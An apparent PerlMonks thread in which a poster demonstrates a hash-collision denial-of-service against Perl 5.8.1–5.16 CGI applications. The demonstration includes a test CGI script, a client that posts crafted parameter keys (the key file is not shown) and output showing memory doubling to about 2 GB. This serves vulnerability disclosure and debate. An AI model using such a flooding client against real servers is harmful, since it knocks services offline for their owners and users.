Good. Until someone demonstrates an exploit, end-to-end, with realistic data and scenario, I'll value my own analysis over suspect theoretical speculation and retain and express my opinion based upon that analysis.

Here is a small CGI script I have installed on a local apache web server. It uses bog-standard CGI.pm to process any received parameters.

#!/var/www/cgi-bin/d/perl-5.16.0.out/bin/perl5.16.0

use CGI;
my $q = CGI->new;
print $q->header();
print $q->start_html('hello world');

my @keys = $q->param;
printf "[[received %3d params; used %4dMbyte of RSZ]]<br>\n",
        scalar @keys, rsz();
print $q->end_html;

# use PS to get the resident memory size of the current process
sub rsz {
    return int($1 * 4096 / 1024 / 1024) if `ps -p $$ -o rsz` =~ /(\d+)
+/;
    return 0;
}
[download]

#!/usr/bin/perl

use strict;
use warnings;

use LWP::UserAgent; 
use HTTP::Request::Common qw{ POST };

my @keys = <>;
chomp for @keys;

my $start = time;

for (my $i = 10; $i <= 350; $i += 10) {
    my @params = map { $_ => 1 } @keys[0..$i-1];

    my $url = 'http://localhost/cgi-bin/index.cgi';
    my $ua      = LWP::UserAgent->new();
    my $request = POST( $url, [ @params ] );

    my $content = $ua->request($request)->as_string();
    $content =~/\[\[(.*)\]\]/ or die "unexpected response";
    print $1, "\n";
}
printf "TOTAL time %ds\n", time - $start;
[download]

$ ./client keys
received  10 params; used   24Mbyte of RSZ
received  20 params; used   24Mbyte of RSZ
received  30 params; used   24Mbyte of RSZ
received  40 params; used   24Mbyte of RSZ
received  50 params; used   24Mbyte of RSZ
received  60 params; used   24Mbyte of RSZ
received  70 params; used   24Mbyte of RSZ
received  80 params; used   24Mbyte of RSZ
received  90 params; used   23Mbyte of RSZ
received 100 params; used   24Mbyte of RSZ
received 110 params; used   24Mbyte of RSZ
received 120 params; used   24Mbyte of RSZ
received 130 params; used   24Mbyte of RSZ
received 140 params; used   24Mbyte of RSZ
received 150 params; used   24Mbyte of RSZ
received 160 params; used   24Mbyte of RSZ
received 170 params; used   25Mbyte of RSZ
received 180 params; used   25Mbyte of RSZ
received 190 params; used   25Mbyte of RSZ
received 200 params; used   28Mbyte of RSZ
received 210 params; used   28Mbyte of RSZ
received 220 params; used   32Mbyte of RSZ
received 230 params; used   32Mbyte of RSZ
received 240 params; used   39Mbyte of RSZ
received 250 params; used   56Mbyte of RSZ
received 260 params; used   56Mbyte of RSZ
received 270 params; used   87Mbyte of RSZ
received 280 params; used  152Mbyte of RSZ
received 290 params; used  152Mbyte of RSZ
received 300 params; used  279Mbyte of RSZ
received 310 params; used  280Mbyte of RSZ
received 320 params; used  536Mbyte of RSZ
received 330 params; used 1047Mbyte of RSZ
received 340 params; used 1047Mbyte of RSZ
received 350 params; used 2071Mbyte of RSZ
TOTAL time 2s
[download]

Dave.

So what you're saying is that you have a file of 350 magic keys that when used to build a hash on any version of Perl from 5.8.1 through 5.16 will cause this constant doubling of the hash size, regardless of what hash seed was chosen at startup?

---

With the rise and rise of 'Social' network sites: 'Computers are making people easier to use everyday'

Examine what is said, not who speaks -- Silence betokens consent -- Love the truth but pardon error.

"Science is about questioning the status quo. Questioning authority". The enemy of (IT) success is complexity.

In the absence of evidence, opinion is indistinguishable from prejudice.

So what you're saying is that you have a file of 350 magic keys that when used to build a hash on any version of Perl from 5.8.1 through 5.16 will cause this constant doubling of the hash size, regardless of what hash seed was chosen at startup?

Yes.

Dave.